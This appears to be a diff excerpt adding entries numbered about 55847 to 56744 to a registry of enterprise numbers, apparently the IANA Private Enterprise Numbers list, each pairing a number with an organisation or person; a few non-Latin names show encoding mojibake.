+55847 Libéma Exploitatie B.V.
+55848 Swifthosting ApS
+55849 Mizar Magic and Research Network
+55850 Veea Systems Ltd
+55851 Jordan Klein
+55852 Saṃvásana Holdings
+55853 BaaSid International Lab Co.,LTD. (Taiwan)
+55854 Pagebe.fr
+55855 UkrTrade ltd
+55856 EMCO Chemical Distributors, Inc.
+55857 DD Cloud
+55858 ALL D.S. SECURITY SOLUTIONS LTD
+55859 Mini-Circuits
+55860 Advantech Wireless Technologies Inc.
+55861 Miranham -CreatorGroups-
+55862 Gold Corporation
+55863 COMNET INC.
+55864 AMMG
+55865 The University of Alabama
+55866 Mathima Technologies
+55867 eSKamation
+55868 Useful Bytes LLC
+55869 Leertouwer
+55870 Zaman 01 LTD
+55871 Crédit Mutuel ARKEA
+55872 ProLabs
+55873 Xona Systems, Inc.
+55874 Østfold Interkommunale Arkivselskap IKS
+55875 Agentilo GmbH
+55876 VitalThings AS
+55877 AppEx Networks Corporation
+55878 ABSU Limited
+55879 AddSecure Acquisitions Holdings AB
+55880 StealthPath Inc.
+55881 toolman.org
+55882 GREEN CITY STI.,JSC
+55883 Micro-Design Inc
+55884 fremetih solutions
+55885 Successful Endeavours Pty Ltd
+55886 Imperani Alarm Services T/A JA Security
+55887 Nanjing Huastart Network Technology Co.Ltd
+55888 TradeWith
+55889 TycheTools, SL
+55890 Technocon
+55891 Artemis Tosini
+55892 Guang Zhou Aoshi Internet Information & Technology Co., Ltd.
+55893 Hyve Solutions
+55894 e-Smart Systems Europe SL.
+55895 Katariya Infra Projects Private Limited
+55896 DAAD - Deutscher Akademischer Austauschdienst
+55897 ARKRAY USA, Inc.
+55898 MEDICON
+55899 IPG Information Process Group GmbH Deutschland
+55900 National Academy of Forensic Engineers
+55901 Sven Anders
+55902 3FONT
+55903 hagebau IT GmbH
+55904 National Petroleum Construction Company
+55905 J.H.C. de Rooy Holding B.V.
+55906 SecretNest.info
+55907 Shenzhen New Trend International Logistics Technology Co.,LTD
+55908 Dinnissen B.V.
+55909 Coolsure Limited
+55910 Heka Werkzeuge GmbH
+55911 Proper Code
+55912 Associação Nacional dos Registradores de Pessoas Naturais
+55913 Pinnacle Oncology
+55914 Tomasz Szkutkowski IT Consulting
+55915 NEMZETI MOBILFIZETESI ZRT.
+55916 Junge Sprachwissenschaft e. V.
+55917 Tel
+55918 SecureLogic LTD
+55919 Martin Loehnertz IT Beratung
+55920 PCItek
+55921 iSAtech water GmbH
+55922 Kismet Wireless
+55923 Lauterbach GmbH
+55924 yfn Beteiligungsgesellschaft UG
+55925 Buy Whole Foods Online Ltd
+55926 Cumtenn Intelligent information science and technology(Zhejiang) Co., Ltd.
+55927 seot
+55928 JSC Profotech
+55929 University of Lausanne
+55930 Kwikbit
+55931 Safe Host S.A.
+55932 GXM Consulting
+55933 Powersoft S.p.A.
+55934 Cryptnox SA
+55935 Kutai Electronics Industry Co., LDTD.
+55936 Grentech
+55937 Delta Electronics, Inc.
+55938 Kero Kero Information Technology Center
+55939 Garantir Technologies Private Limited
+55940 Temas LLC
+55941 Wisdom Technologies Pvt Ltd
+55942 LightEdge Solutions
+55943 Opennetworks Kft.
+55944 Netlock Gmbh
+55945 MC-Technologies GmbH
+55946 Arra Networks
+55947 SkizNet
+55948 Rayn0r Ltd.
+55949 ALVO Spółka z ograniczoną odpowiedzialnością, Sp. k.
+55950 Keydok LLC
+55951 AmLight/AMPATH
+55952 Laboratorio de Modelos y Datos de la UNAM
+55953 FRAMATOME
+55954 Episource LLC
+55955 Suzhou China Asterfusion Co.,LTD
+55956 iret Gesellschaft zur Entwicklung elektronischer Steuerungen mbH
+55957 ICS Technologies
+55958 reply
+55959 NeoVolta Inc.
+55960 Charles Russell Speechlys
+55961 Intenta GmbH
+55962 PD Inc
+55963 Bendigo and Adelaide Bank Limited
+55964 Carman Systems
+55965 Ministry of Foreign Affairs of the Republic of Uzbekistan
+55966 KeySwing
+55967 County of Lackawanna
+55968 Ammega Group B.V.
+55969 Gulf International Development LLC
+55970 BHDev Desenvolvimento e Consultoria em Informatica LTDA
+55971 DAUPHIN TELECOM
+55972 NARMI
+55973 Lathrop GPM LLP
+55974 Secure Computing Laboratory, NMT
+55975 Process Fusion Inc.
+55976 viralstrings technologies pvt ltd
+55977 DNSmonitor Sverige AB
+55978 Ekebu srl
+55979 Shenzhen Kstar New Energy Company Limited
+55980 Hoyos Integrity Corp.
+55981 IIB Education Private Limited
+55982 Wenzhou Yeeka Lock Technology Co.,Ltd.
+55983 MARCUUS
+55984 NETLOCK GmbH
+55985 ACCA
+55986 novalink GmbH
+55987 Tiffany Care Centers, Inc.
+55988 eBay Inc
+55989 Lithnet
+55990 Morrison & Foerster
+55991 EMERGY Führungs- und Servicegesellschaft mbH
+55992 Conradis Teknik AB
+55993 Carmot Pursuits
+55994 GiftCard, Inc
+55995 Scolino Nachhilfe & Schülerbetreuung
+55996 calac GmbH
+55997 CompuTecNetworks
+55998 HAOHAN Data Technology Co.,LTD.
+55999 accel-ppp
+56000 Bambú Tecnologías Aplicadas SRL
+56001 Seashell Trust
+56002 PT Aksara Digital Indonesia
+56003 Atende Software Sp. z o.o.
+56004 Peter Raabye
+56005 Stichting Ziekenhuis Gelderse Vallei
+56006 Wrble
+56007 Festival D'été de Québec
+56008 AKRA Kotschenreuther GmbH
+56009 ELSA Advanced Systems Pte Ltd
+56010 Alpha-Safety LLP
+56011 RTK
+56012 JItendra Singh
+56013 Aqua Broadcast Ltd.
+56014 Los Angeles Jewish Home for the Aging
+56015 Empire Die Casting Company
+56016 Cayman Medical Ltd
+56017 T1ED
+56018 SKAPF
+56019 Otter video
+56020 BSB DATA AND INFORMATION PROCESSING SERVICES PRIVATE LIMITED
+56021 Geo-Com
+56022 Elukerio
+56023 Nanjing Aotong Intelligent Technology Co., Ltd.
+56024 KPT Holding AG
+56025 nicos AG
+56026 AIFusion.net
+56027 Active Shadow LLC
+56028 Beijing Changkun Technology Co., Ltd
+56029 ALS Automated Lab Solutions GmbH
+56030 Skylite AB
+56031 CL SKOG AB
+56032 ZAE Bayern
+56033 Die Autobahn GmbH des Bundes
+56034 ALS Laboratory Group
+56035 GALDERMA S.A.
+56036 Gentlent, Inc.
+56037 Argo AI
+56038 Nroad
+56039 Bold City Tech
+56040 Sosaley technologies private limited
+56041 CALINDA SOFTWARE
+56042 PAJURO
+56043 Argo AI
+56044 Sansay Corporation
+56045 Postee
+56046 Zbensoft Software
+56047 Lucid Motors
+56048 ElastiFlow Inc.
+56049 HED2
+56050 KASLAB
+56051 Skyservice Business Aviation Inc.
+56052 Growatt New Energy Technology Co.,LTD
+56053 slowpoke.cloud
+56054 East Alabama Womens Clinic
+56055 PLEXSYS Interface Products
+56056 Grid Protection Alliance
+56057 Grid Protection Alliance
+56058 The Farmers State Bank
+56059 Remmers Gruppe AG
+56060 Chengdu Yinou Technology Co. LTD
+56061 Rune Landbergs Ã…keri AB
+56062 Chakat Space
+56063 Tri-State Communications, Inc.
+56064 Coca-Cola Amatil (N.Z.) Limited
+56065 Architector Inc.
+56066 Centre Orcet-Mangini
+56067 Knox Horticulture LLC
+56068 Aggressive Tooling Inc.
+56069 Net NV LLC
+56070 Eni S.p.A.
+56071 MediasiteK.K.
+56072 MOIN MIYAN
+56073 Beijing VRV Software Corporation Limited
+56074 Knightfall Systems LLC
+56075 Fuchshuber Architekten GmbH
+56076 EDC HOFFMEISTER GmbH
+56077 codecentric AG
+56078 SorensenLab
+56079 ServiceNow, Inc.
+56080 flaviofrancardi
+56081 Smartsky Networks
+56082 Data Connect Enterprise
+56083 Facebook Connectivity - Joule
+56084 Liphatech INC
+56085 Highmark Health
+56086 BlackSphere
+56087 Medis Holding
+56088 Diggers
+56089 IMSONIC MEDICAL, INC.
+56090 CJCHT GROUPS LIMITED
+56091 lern.link GmbH
+56092 Bitza IT Consulting
+56093 PPC Africa
+56094 INNORS
+56095 PhilCo Consulting Inc.
+56096 fiskaly GmbH
+56097 Norden Communication UK Ltd
+56098 Docuten Tech S.L.
+56099 Example Limited
+56100 VMLabblog.com
+56101 odehnal.org
+56102 Venjakob Maschinenbau GmbH & Co. KG
+56103 LKVS CONSTRUCTION PVT LTD
+56104 M-P-S
+56105 Alpha Technologies CIA. LDTA.
+56106 Cambridge University Hospitals NHS Foundation Trust
+56107 Convention Center Authority of the Metropolitan Government of Nashville & Davidson County
+56108 Intelligent Waves LLC
+56109 ДП "ОдеÑький порт" (State Enterprise "Odesa Sea Trade Port")
+56110 FSV Analytics
+56111 EKTA-Prom
+56112 Unisyue Technologies Co., Ltd.
+56113 Universidad Nacional de San Agustín de Arequipa
+56114 B/D OPS, LLC
+56115 JZ Lab
+56116 nigelmann
+56117 MAXIO Co.,Ltd.
+56118 Dissonance
+56119 City of Hollywood, FL
+56120 PLASP Child Care Services
+56121 Busch's INc.
+56122 LORIOT AG
+56123 Vodafone India Services
+56124 ANEO "Ust-Labinsky Lyceum"
+56125 Mars Bioimaging Limited
+56126 uni software plus GmbH
+56127 WAREHOUSE SPECIALISTS LLC
+56128 SI Media
+56129 L3Harris (Chesapeake Sciences)
+56130 Landmarken AG
+56131 AG Klima, FB8, Uni Bremen
+56132 Chaos Computer Club Veranstaltungsgesellschaft mbH
+56133 Excision Mail
+56134 Convexis GmbH
+56135 MAIDAMESS LIMITED
+56136 Berci Engenharia
+56137 TekSea
+56138 AIS spol. s r.o.
+56139 Three Star Group AS
+56140 Metartec
+56141 Fleetwood High School
+56142 Telecom26 AG
+56143 NETCOM GROUP
+56144 J. Knipper and Company
+56145 hezhong
+56146 FireStone
+56147 Foxtons Ltd
+56148 Chengdu Spaceon Electronics Co.,Ltd.
+56149 Arcturus Technologies
+56150 Bekomold GmbH
+56151 TES s.r.o.
+56152 UTIMCO
+56153 Powertec Solutions International
+56154 KEYXENTIC INC.
+56155 Quantum Labs
+56156 Banma Network Technology Co,Ltd
+56157 Axion Biosystems, Inc
+56158 ComPsych Corporation
+56159 Mibes IT
+56160 Lorier Internet
+56161 UST Technologies
+56162 Sinelec
+56163 Star Kay White, Inc.
+56164 Arctic Paper Grycksbo AB
+56165 Access Health Services, LLC
+56166 深圳凌特åŽç››ç§‘技有é™å…¬å¸(Shenzhen Smartbyte Technology Co., Ltd.)
+56167 Calibre UK Ltd.
+56168 dotup IT solutions
+56169 Open Products, Networks & Software (OPNS)
+56170 Secure Nordic Payments
+56171 Samm Technology Communications Industry and Trade Inc.
+56172 Stadt Lauf
+56173 A.J. Steenkist
+56174 Geminare Inc.
+56175 AirPro Technology India Pvt Ltd
+56176 Safeweb Seguranca da Informacao Ltda
+56177 ThinkAnalytics
+56178 It-Management
+56179 COMKOM
+56180 Quantum Prime
+56181 Wavesight Limited
+56182 The Coetzer Group
+56183 Digital Advantage Corp.
+56184 Deutsches Rotes Kreuz in Hessen Volunta gGmbH
+56185 Otis Elevator Company
+56186 Sinus Nachrichtentechnik GmbH
+56187 Riker Wohnbau + Immobilien GmbH
+56188 VE3BUX
+56189 Instituto Costarricense de Electricidad
+56190 Telindus-ISIT B.V.
+56191 Dawgshouse Lab
+56192 Wiseif
+56193 Storopack Deutschland GmbH & Co.KG
+56194 High-Availability
+56195 Telmo a.s.
+56196 SOL Industries Pty Ltd
+56197 Xiamen Evada Electronics Co., Ltd
+56198 darkfate.net
+56199 NetCom Sicherheitstechnik GmbH
+56200 Speech-Soft Solutions
+56201 Lekha Wireless Solutions Pvt Ltd
+56202 Alexander Reinert
+56203 Aalborg Lufthavn a.m.b.a.
+56204 IVSEC
+56205 South-West jiaotong unversity richsun coorperation .inc
+56206 Transdev
+56207 YAAL COOP
+56208 Vitality Corporate Services Limited
+56209 Povodi Vltavy, statni podnik (Vltava river basin, state enterprise)
+56210 Urzad Marszalkowski Wojewodztwa Slaskiego
+56211 Crown Castle
+56212 Eugster Informatik
+56213 Xuzhou Minghuan Energy Co. LTD
+56214 Rainside s.r.o.
+56215 TapIt Inc.
+56216 ALECOM AB
+56217 Perspecta
+56218 NSW Health
+56219 Neuralink Corporation
+56220 BAOXING CO.,LTD.
+56221 Roche Diabetes Care
+56222 Instytut Informatyki i Zarzadzania
+56223 Canadian Secure Token Governance Authority
+56224 Stein Telecom Ltda
+56225 DHK Storage, LLC
+56226 Wise Industria de Telecomumicacoes
+56227 Matthias Wübbeling
+56228 Kiela
+56229 embeddedmcu
+56230 Arctic Paper Munkedals AB
+56231 Encedo Limited
+56232 Société Électrique des Forces de l'Aubonne
+56233 inray Industriesoftware GmbH
+56234 EdRixon
+56235 Atos Systems Business Services GmbH
+56236 KPN Internet of Things
+56237 SCADACID
+56238 wtm-solutions
+56239 Behr Technologies Inc
+56240 JSC ‘NPP ‘Radiosviaz’
+56241 Data Design System AS
+56242 AMV Sistemas de Alimentacion Electronica SL
+56243 Brunswick Group
+56244 SPOe ITZ
+56245 Johannes Fortmann
+56246 Central GA Cancer Care
+56247 Rublon
+56248 Westek Technology Ltd.
+56249 Alec GmbH
+56250 CM.com
+56251 ETC Solutions
+56252 Vimexx B.V.
+56253 Corellium LLC
+56254 Forte-CT
+56255 Changsha LANLI Technology Co., Ltd.
+56256 Max Planck Computing and Data Facility
+56257 LOGICALIS SPAIN
+56258 ASRC Federal Holding Company, LLC
+56259 E-Gear, LLC
+56260 MUFG Bank (Europe) N.V.
+56261 UCLA Center for Computer Vision and Imaging Biomarkers
+56262 Santa Lucía S.A.
+56263 Sonic Healthcare Germany GmbH & Co. KG
+56264 Shenzhen Acorid Communication Technology Co., Ltd(www.acorid.com)
+56265 Woven Solutions Ltd
+56266 Ogjos
+56267 AMC World Technologies GmbH
+56268 publica.re
+56269 SRK Electronics Pty Ltd
+56270 NSGUARD TECHNOLOGY INC.
+56271 Sanoma Manu Oy
+56272 ROYAL MOSLEM IMPERIAL
+56273 Machines talk
+56274 PR Oncology, LLC
+56275 RA-MICRO Hamburg GmbH
+56276 Thales SIX Nederland
+56277 Denbighshire County Council
+56278 China Mobile IoT Company Limited
+56279 SereneIT, Inc.
+56280 Cloud2 Software Inc.
+56281 Arvato Supply Chain Solutions
+56282 Kapsch BusinessCom AG
+56283 EA Systems Dresden GmbH
+56284 Atlas Cloud Services
+56285 S&S Activewear
+56286 Steico Industries Inc
+56287 Hacksoft
+56288 Cloudready.dk
+56289 LEAPBYTE TECHNOLOGY
+56290 Community Brands
+56291 Solmax Inc.
+56292 AS207960 Cyfyngedig
+56293 UI-ICON
+56294 Magnetic Inspection Laboratory, Inc.
+56295 MORSON JAPAN Co., Ltd.
+56296 East West Bank
+56297 17bit.org
+56298 Infotech Solutions (UK) Ltd
+56299 SUBnet192 Inc.
+56300 STAUFEN.AG
+56301 IOIT
+56302 Narodni agentura pro komunikacni a informacni technologie, s. p.
+56303 marcusfolkesson
+56304 Infrastructures Technologiques Quebec
+56305 ParaFlare Pty Ltd
+56306 Centro Oncológico Figueroa-Cabrera
+56307 Cancer Research And Biostatistics
+56308 SunForce Technology Co.,LTD.
+56309 Codapayments
+56310 Aardsoft Oy
+56311 Hatay Mustafa Kemal Universitesi
+56312 İlteriş Yağıztegin Eroğlu (linuxgemini)
+56313 HoCoSto B.V.
+56314 Signify Holding BV
+56315 Stadt Georgsmarienhütte
+56316 Objectivity Sp. z o.o.
+56317 Boys and Girls Clubs of America
+56318 Rec10 Organization
+56319 Rauf Born Divine Bey TR.
+56320 Silvus Technologies
+56321 Telemetrics, Inc.
+56322 Optus Digital Networks Automation
+56323 New Age Consulting Service Inc.
+56324 Horten Folkeverksted
+56325 1NCE GmbH
+56326 EFKO Management Company
+56327 CL International
+56328 OBSTA
+56329 Digital Communications Company
+56330 Inovetech
+56331 Balasys Ltd.
+56332 Transferant
+56333 Optus Digital Networks CaaS
+56334 Middleman Software, Inc.
+56335 Analytic Designs, Incorporated
+56336 Skeeter Health
+56337 Hack@UCF
+56338 Carolina Glaucoma And Vision Center
+56339 Garantiqa Hitelgarancia Zrt.
+56340 Cytocheck Laboratory
+56341 Fraunhofer Institute for Production Technology IPT
+56342 Bits 'n' Bytes IT-Consulting
+56343 RiskForge
+56344 Sherpa 6, Inc.
+56345 National Tsing Hua University
+56346 nanjing zhiyutiancheng Technology Co.Ltd
+56347 EdgerOS
+56348 Unisinsight
+56349 Gävle Kraftvärme AB
+56350 VEBO
+56351 vaf co.
+56352 SCCT Medical Group
+56353 OXD Consulting Ltd.
+56354 ThoughtFarmer Inc.
+56355 Baelim
+56356 Inkwire Tech (Hangzhou) Co.,Ltd.
+56357 ITK » CONSULTING & SOLUTIONS
+56358 WEFA Inotec GmbH
+56359 Karlborgs Elkontroll AB
+56360 City of Lafayette
+56361 Beyond LED Inc
+56362 e-scopics
+56363 Nexeria AB
+56364 Leuchter IT Infrastructure Solutions AG
+56365 K-Soft
+56366 Alstom Sverige AB
+56367 dSoft-Bulgaria Ltd.
+56368 Singularity LLC
+56369 Mission Embedded
+56370 Kantonspolizei St. Gallen
+56371 DOTSCREEN
+56372 CONEXTOP Technologies Co., Ltd.
+56373 CSSF
+56374 Media-Tel
+56375 Elektro Celje d.d.
+56376 New Technologies
+56377 Penzagrazhdanproekt
+56378 SMSTraffic
+56379 Singularis development, s.r.o.
+56380 Frank Czepat
+56381 Ingenieria de Sistemas Avanzados del Centro S.A. de C.V.
+56382 BHP Hardware and Software
+56383 Morsoe kommune
+56384 Landkreis Teltow-Fläming
+56385 LLC Lotsiya
+56386 Praxispunkt GmbH
+56387 DFINITY USA, LLC
+56388 Thales Austria GmbH
+56389 The Munshi Group
+56390 Wuhan Yangtze Computing Technologies Co.,LTD
+56391 Digital Devices GmbH
+56392 OOO "Gagar.IN" (LLC)
+56393 Crnogorski Telekom A.D.
+56394 American Lebanese Syrian Associated Charities
+56395 ENT Specialists of Metairie
+56396 LETEC
+56397 Stichting Bravis Ziekenhuis
+56398 solutio GmbH & Co. KG
+56399 johanssons åkeri i bygdeträsk ab
+56400 YOURWiFi, s.r.o.
+56401 Cegep de St-Felicien
+56402 Ministry of Justice
+56403 Indigo Technology Partners, Inc.
+56404 Southend-on-Sea Borough Council
+56405 Connexiums
+56406 SoftwareNY.com
+56407 ECOS GmbH
+56408 Tom Tech Limited
+56409 aramido GmbH
+56410 KARMA GmbH
+56411 Courtman
+56412 Courtman
+56413 X2nSat
+56414 Wattsie
+56415 Bank Negara Malaysia
+56416 Quadrangle Architects
+56417 IONOSYS
+56418 blattenpau
+56419 Wallinger Ricker Schlotter Tostmann, Patent- und Rechtsanwälte Partnerschaft mbB
+56420 DGTL Workshop
+56421 CSIRO - Astronomy and Space Science
+56422 GlobalConnect Outsourcing Services
+56423 Energy Toolbase
+56424 Integrus Architecture PS
+56425 KAITEC GmbH
+56426 Tehama County office of Education
+56427 Girteka Logistics, UAB
+56428 M.T. s.r.l.
+56429 Neuron Gmbh
+56430 Chugach Government Solutions
+56431 Nardini Klinikum GmbH
+56432 Kulturleben in der Studentenstadt e.V.
+56433 Paylead
+56434 A.G.T. ENTERPRISE SRL
+56435 Dermatology Associates of Northwest Florida PA
+56436 Elearning Program - Thu Dau Mot University
+56437 Ocean Controls
+56438 HORNBACH Baumarkt AG
+56439 Rheinmetall Cyber Solutions GmbH
+56440 BMTECH PERÚ S.A.C.
+56441 Fizyr B.V.
+56442 eForce FEE Prague Formula
+56443 NOVA Web Development, LLC
+56444 Prenuvo
+56445 SiteVision AB
+56446 VIVAVIS AG
+56447 Shenzhen Yunzhang Technology Co. LTD
+56448 Projects By Samveen
+56449 C24 Bank GmbH
+56450 vleo.net
+56451 Markoja d.o.o.
+56452 Dätwyler IT Infra GmbH
+56453 LA Care Health Plan
+56454 ELECTRONIC SERVICE
+56455 TELANTEL S.R.L
+56456 Beijing CyberInx Technologies Company Limited
+56457 CHOO YI JIE
+56458 Milford Film & Animation AB
+56459 Personal Alliance Company
+56460 IPARTNER
+56461 aetherAI Co., Ltd.
+56462 Exhibition of Achievements of National Economy
+56463 Alvondo AB
+56464 Precision Practice Management (Terran)
+56465 Segnus
+56466 Aegon Pensii SAFPP SA
+56467 Finding Sed
+56468 Erntec Pty Ltd
+56469 leafpuddle
+56470 Glen Jarvis Training & Consulting, LLC
+56471 Phicus Tecnologia S.L.
+56472 Central Bank of Jordan
+56473 Police & Crime Commissioner for West Mercia
+56474 RebalanceMD
+56475 上海申石软件有é™å…¬å¸æ·±åœ³åˆ†å…¬å¸ (Shanghai Shenshi Software Co., Ltd. Shenzhen Branch)
+56476 深圳市环迅网络技术æœåŠ¡æœ‰é™å…¬å¸ (Shenzhen Huanxun Network Technology Service Co., Ltd.)
+56477 CritAcuity Medical Group
+56478 swigg.net
+56479 Kentucky Blood Center
+56480 Ortiz Development
+56481 Pacheco's Tech
+56482 inCrypto Software
+56483 Novosit SRL
+56484 Aniruddha Telemetry systems
+56485 IANT GmbH
+56486 BattleCrate Ltd
+56487 IERUS Technologies, Inc.
+56488 Xolaris AB
+56489 UANATACA EL SALVADOR, S.A. DE C.V.
+56490 Wildboar Software
+56491 AvD Wirtschaftsdienst GmbH
+56492 Nexteer Automotive Poland
+56493 Awake Software
+56494 Almariya Trust Services SLU
+56495 Quanzhou Kingtone Optic & Electronic Technology Co.,Ltd.
+56496 Lacerda Tecnologia
+56497 Webb Electronics
+56498 Mei Sheng Textiles Vietnam Co., Ltd
+56499 Psomagen inc
+56500 Maryland Judiciary - Administrative Office of the Courts
+56501 AB Handshake Corporation
+56502 AVUTEC
+56503 Bachleitner Technology GmbH
+56504 grammm GmbH
+56505 Premier Suburban Medical Group, PLLC
+56506 Project Antrea
+56507 Kennedy Engineering
+56508 AMETEK Solidstate Controls
+56509 Mensing Jochim
+56510 ShenZhen SureCall COMM Tech Co., Ltd
+56511 JCC PAYMENT SYSTEMS LTD
+56512 Vizolution Ltd
+56513 Hottinger Brüel & Kjær
+56514 Institute of Physics Bhubaneswar
+56515 Facultad de Ingeniería - UBA
+56516 Hermann Stemberger
+56517 n0n3's
+56518 FyeLabs Inc.
+56519 Home Lab
+56520 SISPI SISTEMA PALERMO INNOVAZIONE S.P.A.
+56521 Jesse Coretta
+56522 Jokey Holding GmbH & Co.KG
+56523 AKSA-SDS, Islamabad
+56524 Magellan Midstream Partners
+56525 EBE Elektro-Bau-Elemente GmbH
+56526 Telcan Inc.
+56527 Stadt Rorschach
+56528 ADMIT Sp. z o.o. Sp. k.
+56529 Ethra Tech S.r.L.
+56530 Zentive Group
+56531 Daryl P Kelly, LLC
+56532 NAL Research Corporation
+56533 Dowslake Technologies
+56534 Net Ice 9 LTD
+56535 Great Wall Motor Company Limited.
+56536 HUARUI EXPON(henan) Technology Co.,Ltd.
+56537 AVAP
+56538 Portsmouth City Council
+56539 Horry County Airports
+56540 N-Squared Software (NZ) Limited
+56541 Mperativ, Inc.
+56542 Guardicore
+56543 Mälby bioenergi och skog
+56544 LIQUIDPLUS
+56545 Primax Technologies Inc.
+56546 Regionalne Centrum Bezpieczeństwa w Olsztynie
+56547 Northeastern University
+56548 Qsaúde Operadora de Saúde
+56549 abancert.cl
+56550 Indiana Wesleyan University
+56551 S&B Engineers and Constructors
+56552 CELOG PARTICIPATIONS
+56553 OPT-NC
+56554 Cabtronix AG
+56555 Shenzhen Gullpower Technology Co.Ltd.
+56556 Evangelische Stiftung Alsterdorf
+56557 Oleg's Lab
+56558 CARTI Cancer Center
+56559 DICOM SDL
+56560 Schnapke GbR
+56561 Timor Sommer, Software- und Systemarchitektur
+56562 converge-it
+56563 Succ Inc.
+56564 Tobias L.
+56565 nexgenwave
+56566 Billingo Technologies Zrt.
+56567 EDNA (OSK LLC)
+56568 Nefos IT bv
+56569 Notre Dame High School
+56570 Melissa Maxwell Independent Contractor Administrative Assistant
+56571 ZHEJIAGN SHIP ELECTRONICS & TECHNOLOGY CO., LED.
+56572 SHENZHEN INCREASE TECHNOLOGY CO., LTD.
+56573 Battenhausen GmbH
+56574 endoo GmbH
+56575 Galvanotek Embalagens LTDA
+56576 Kulturkosmos Müritz e.V.
+56577 WATCHMYDC ANALYTICS OY
+56578 Comda LTD
+56579 Computer Engineering Service Co., Ltd.
+56580 Address Institut für Höhere Studien – Institute for Advanced Studies (IHS)
+56581 Lucy Electric
+56582 LGI Ltd
+56583 NTT Global
+56584 Blue Cross Blue Shield of Vermont
+56585 Dr. D. Kolokythopoulos - Medical Practice
+56586 ALLIANCE FORETS BOIS
+56587 Tiller Technologies Limited
+56588 VelocIT Powered by DSi
+56589 ScoutLink
+56590 Aryagami Cloud Services
+56591 NPO RTS
+56592 Moog Defense and Space
+56593 Niedersaechsisches Justizministerium (Ministry of Justice, State of Lower Saxony)
+56594 noortec.com
+56595 Siera
+56596 MTK LLC
+56597 RiverHills Bank
+56598 Nettie Trust Services
+56599 John Knox Village of Central Florida
+56600 Gisual, Inc.
+56601 WATTS Battery LTD
+56602 van Happen Containers
+56603 Peeeks BV
+56604 AutoCanada Software Inc.
+56605 Wojewódzki Szpital Zespolony im. Stanisława Rybickiego w Skierniewicach (Provincial Complex Hospital Stanisław Rybicki in Skierniewice)
+56606 APC Technology
+56607 Beijing Fineone Technology Co.,Ltd.
+56608 Miltera Elektronik Ltd. Sti.
+56609 Airbus CyberSecurity GmbH
+56610 Innova Bilişim Çözümleri A.Ş.
+56611 Kurt Jähnig GmbH & Co. KG
+56612 Futurum Fastigheter i Örebro AB
+56613 Jhol Momo Udhyog
+56614 æ­å·žä¸­æ’电气股份有é™å…¬å¸ (Hangzhou Zhongheng Electric Co., Ltd.)
+56615 itk communications GmbH
+56616 Dr. Anibal Avila
+56617 Disastrophy
+56618 Bank of Taiwan Los Angeles Branch
+56619 Mneme
+56620 Xacria SRL
+56621 Caban Systems
+56622 Maxlink Industria e Eletrônica LTDA
+56623 Raidiam Services Ltd
+56624 ANDBANK MONACO
+56625 GlaxoSmithKline Consumer Healthcare
+56626 Kozhukhar IP
+56627 Sigur
+56628 Baker College
+56629 Ostwestfalen-Lippe-IT
+56630 Azure Radio Solutions
+56631 JSC Basisbank
+56632 Brompton Technology Limited
+56633 Associação Brasileira das Empresas de Cartões de Crédito e Serviços - ABECS
+56634 ysaf
+56635 Betop Technologies
+56636 Lars Lehmann
+56637 Austrian Power Grid AG
+56638 Luke Granger-Brown
+56639 Ravensdown Ltd
+56640 ITLab
+56641 Ministerul Lucrarilor Publice, Dezvoltarii si Administratiei
+56642 SafeTwice
+56643 Paysera
+56644 Brock Enterprises
+56645 Strategic Explorations LTD
+56646 Hermes Telecom
+56647 Infotech Junction Inc
+56648 Amphenol Socapex
+56649 FOSSTECH SOLUTIONS PTE LTD
+56650 City administration Bern test
+56651 Soha Jin
+56652 北斗时æºï¼ˆåŒ—京)科技有é™å…¬å¸ (Beidou Shiyuan (Beijing) Technology Co., Ltd.)
+56653 Varde kommune
+56654 Herlev Kommune
+56655 Lona
+56656 National Research University Higher School of Economics
+56657 Monocle Security
+56658 EMBDIT IT-Solutions
+56659 中科腾龙信æ¯æŠ€æœ¯æœ‰é™å…¬å¸ (PTEROSAUR)
+56660 CatIO Network
+56661 北京中超伟业信æ¯å®‰å…¨æŠ€æœ¯è‚¡ä»½æœ‰é™å…¬å¸ (Beijing Zhongchao Weiye Information Security Technology Co., Ltd.)
+56662 Sitemaster, Lda
+56663 Herzog Enterprises, Inc.
+56664 PinkRoccade Local Government BV
+56665 HUSS B.V.
+56666 Flaxseed Labs
+56667 shenzhen FranklinWH Technology .,LTD
+56668 YUYAN NETWORKS LIMITED
+56669 Nemocnice ve Frydku-Mistku, p.o.
+56670 Great River Cancer Center
+56671 Architecture Technology Corporation
+56672 Max Planck Institute for Multidisciplinary Sciences
+56673 Johannes Endres
+56674 KB1SPH
+56675 Prometheus Communications Pte Ltd
+56676 City of Forest Grove
+56677 Fletchers Solicitors
+56678 Siekken
+56679 omniQ
+56680 Doolta
+56681 Belgian-Luxembourg Conference of Seventh-day Adventists
+56682 Flow Traders
+56683 EDJX, Inc.
+56684 Logical Infrastructure (Changzhou) Technology Co., Ltd.
+56685 ÄŒEPRO, a.s.
+56686 iSYS RTS GmbH
+56687 Primary Industries and Regions SA
+56688 Tianhai InfoTech
+56689 Shanghai Personalis Biotechnology Co.,Ltd.
+56690 Clue24 GmbH
+56691 Among Bytes
+56692 Pac Neuro, Inc
+56693 Valve Corporation
+56694 Wuhan SanLian Automation CO.,Ltd
+56695 Visible Capital Limited
+56696 Triad Metals International
+56697 insightsoftware
+56698 Intelfon SA de CV
+56699 BNV e. V.
+56700 Unassigned
+56701 Openairinterface Software Alliance
+56702 Unassigned
+56703 Unassigned
+56704 AvalonBay Communities
+56705 Unassigned
+56706 Unassigned
+56707 Unassigned
+56708 Whitewall Energy
+56709 Unassigned
+56710 Kuhne electronic GmbH
+56711 Tunstall GmbH
+56712 qudoor
+56713 Planet soft d.o.o.
+56714 Schoeller Werk GmbH & Co. KG
+56715 SPIE COMNET GmbH
+56716 LS Elektronik AB
+56717 Ipswich School
+56718 AccelWELL Inc.
+56719 Banished.dev Ltd
+56720 Christian Borchert
+56721 INCA TECNOLOGIAS
+56722 Aurora Server
+56723 Kigen Ltd
+56724 Nordic eSIM
+56725 Warren Podiatry
+56726 ASSA ABLOY Opening Solutions Sweden AB
+56727 Solare Datensysteme GmbH
+56728 Dawatek, LLC
+56729 Kylan Robinson
+56730 ZedNot
+56731 Beijing SG technology Co.,Ltd
+56732 ООО "Технологии БезопаÑноÑти" (Security Technologies)
+56733 Iberexáminis Consulting S.L.
+56734 Eversec Technology Co.,Ltd.
+56735 Bundesamt für Verfassungsschutz
+56736 TSB Bank plc.
+56737 Center for Skin Wellness
+56738 Independent School District No. 834
+56739 T7 International Group
+56740 HoneycombData
+56741 Haguenet
+56742 Scientific Protein Laboratories
+56743 NEW DEANTRONICS
+56744 Satair A/S
